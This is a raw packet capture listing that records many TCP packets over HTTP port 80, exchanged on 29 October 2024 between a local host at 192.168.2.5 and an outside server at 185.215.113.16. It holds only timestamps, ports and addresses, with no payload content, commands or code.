Oct 29, 2024 04:52:58.721415043 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.721431017 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.721440077 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.721446991 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.721472025 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.721498013 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.721678019 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.721693993 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.721709013 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.721724987 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.721740007 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.721755028 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.721756935 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.721771955 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.721793890 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.721992016 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722013950 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722018957 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.722029924 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722037077 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.722045898 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722062111 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722073078 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.722079039 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722094059 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722109079 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722117901 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.722126007 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722147942 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722156048 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.722165108 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722179890 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.722179890 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722199917 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722214937 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722222090 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.722233057 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722237110 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.722287893 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.722450972 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722466946 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722481012 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722508907 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.722585917 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722600937 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722615957 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722660065 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.722745895 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722760916 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722774982 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722790003 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722814083 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722824097 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.722830057 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722845078 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722852945 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.722861052 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722873926 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722882032 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.722889900 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722906113 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722909927 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.722922087 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722935915 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722944975 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.722950935 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722966909 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722975969 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.722982883 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.722999096 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.723006010 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.723016024 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.723031998 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.723038912 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.723048925 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.723064899 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.723100901 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.723678112 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.723694086 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.723709106 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.723723888 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.723738909 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.723746061 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.723754883 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.723769903 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.723784924 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.723793030 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.723800898 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.723807096 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.723818064 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.723824978 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.723833084 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.723848104 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.723861933 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.723865986 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.723879099 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.723895073 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.723900080 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.723910093 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.723927021 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.723961115 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.724155903 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.724251986 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.724267960 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.724282026 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.724298000 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.724314928 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.724322081 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.724330902 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.724355936 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.724553108 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.724569082 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.724586010 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.724601984 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.724617004 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.724621058 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.724632978 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.724649906 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.724661112 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.724666119 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.724683046 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.724689007 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.724704981 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.724723101 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.724731922 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.724740028 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.724755049 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.724760056 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.724771023 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.724785089 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.724795103 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.724801064 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.724817038 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.724826097 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.724833012 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.724848032 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.724854946 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.724863052 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.724878073 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.724893093 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.724901915 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.724910021 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.724935055 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.724960089 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.725574017 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.725589991 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.725604057 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.725619078 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.725641966 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.725645065 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.725656986 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.725672960 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.725683928 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.725689888 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.725698948 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.725704908 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.725720882 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.725738049 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.725742102 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.725754023 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.725764990 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.725769997 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.725788116 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.725791931 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.725804090 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.725820065 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.725833893 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.725846052 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.725852966 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.725867033 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.725874901 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.725878954 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.725891113 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.725899935 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.725907087 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.725922108 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.725928068 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.725946903 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.726526976 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.726542950 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.726557016 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.726581097 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.726591110 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.726603985 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.726619959 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.726624966 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.726634979 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.726645947 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.726650953 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.726666927 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.726674080 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.726681948 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.726696968 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.726706982 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.726711988 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.726727962 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.726733923 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.726743937 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.726758003 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.726773024 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.726787090 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.726788998 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.726804018 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.726819038 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.726821899 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.726835012 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.726841927 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.726851940 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.726859093 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.726869106 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.726885080 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.726888895 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.726900101 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.726922989 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.727468014 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.727483988 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.727498055 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.727521896 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.727536917 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.727540016 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.727552891 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.727571011 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.727577925 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.727586985 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.727602959 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.727617979 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.727628946 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.727632999 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.727649927 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.727655888 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.727664948 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.727672100 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.727680922 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.727695942 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.727704048 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.727711916 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.727727890 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.727736950 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.727742910 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.727757931 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.727765083 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.727773905 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.727788925 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.727803946 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.727812052 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.727819920 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.727842093 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.727868080 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.728352070 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.728368044 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.728390932 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.728405952 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.728420019 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.728426933 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.728436947 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.728452921 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.728454113 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.728470087 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.728477955 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.728494883 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.728529930 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.778616905 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.005743980 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.005995989 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.147931099 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.150789022 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.153306007 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.153350115 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.153362989 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.153426886 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.153439999 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.153450966 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.153464079 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.153477907 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.153528929 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.153570890 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.153583050 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.153593063 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.153604984 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.153641939 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.153683901 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.153743982 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.153837919 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.153850079 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.153861046 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.153872967 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.153882980 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.153894901 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.153898954 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.153913021 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.153925896 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.153937101 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.153939962 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.153949022 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.153954983 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.153961897 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.153985023 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.154207945 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.154220104 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.154268026 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.156164885 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.156177044 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.156194925 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.156208038 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.156255960 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.156256914 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.156269073 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.156285048 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.156333923 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.156469107 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.156481981 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.156492949 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.156505108 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.156517029 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.156534910 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.156548023 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.156558037 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.156562090 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.156572104 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.156593084 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.156622887 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.156711102 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.156722069 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.156733036 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.156745911 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.156758070 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.156769991 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.156774044 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.156784058 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.156805038 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.156826019 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.156852007 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.156863928 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.156904936 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.156907082 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.156918049 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.156929970 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.156940937 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.156954050 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.156985044 CET	49917	80	192.168.2.5	185.215.113.16
